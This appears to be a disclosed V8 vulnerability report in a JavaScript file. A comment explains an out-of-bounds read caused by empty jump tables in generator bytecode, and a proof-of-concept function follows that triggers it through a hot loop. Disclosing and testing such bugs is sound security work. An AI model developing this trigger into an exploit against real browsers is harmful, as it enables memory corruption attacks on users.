57 lines
No EOL
1.4 KiB
JavaScript
57 lines
No EOL
1.4 KiB
JavaScript
/*
|
|
In the current implementation, the bytecode generator also emits empty jump tables.
|
|
https://cs.chromium.org/chromium/src/v8/src/interpreter/bytecode-array-writer.cc?rcl=111e990462823c9faeee06b67c0dcf05749d4da8&l=89
|
|
|
|
So the bytecode for the example code would be generated as follows:
|
|
Code:
|
|
function* opt() {
|
|
for (;;)
|
|
if (true) {
|
|
|
|
} else {
|
|
yield; // never reaches, never hits BindJumpTableEntry
|
|
}
|
|
}
|
|
|
|
Bytecode:
|
|
...
|
|
0x35dda532a2a5 @ 75 : 90 04 01 01 SwitchOnSmiNoFeedback [4], [1], [1] { } <<--- SIZE: 1, but EMPTY
|
|
...
|
|
|
|
|
|
Here's a snippet of JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid which is used to enumerate a jump table.
|
|
void JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid() {
|
|
if (table_offset_ >= table_end_) return;
|
|
|
|
current_ = accessor_->GetConstantAtIndex(table_offset_);
|
|
Isolate* isolate = accessor_->bytecode_array()->GetIsolate();
|
|
while (current_->IsTheHole(isolate)) {
|
|
++table_offset_;
|
|
++index_;
|
|
current_ = accessor_->GetConstantAtIndex(table_offset_);
|
|
}
|
|
}
|
|
|
|
If the jump table is empty, table_offset_ may exceed table_end_. As a result, out-of-bounds reads occur.
|
|
|
|
PoC:
|
|
*/
|
|
|
|
function* opt() {
|
|
for (;;)
|
|
if (true) {
|
|
|
|
} else {
|
|
yield;
|
|
}
|
|
|
|
for (;;)
|
|
if (true) {
|
|
|
|
} else {
|
|
yield; yield; yield; yield; yield; yield; yield; yield;
|
|
}
|
|
}
|
|
|
|
for (let i = 0; i < 100000; i++)
|
|
opt(); |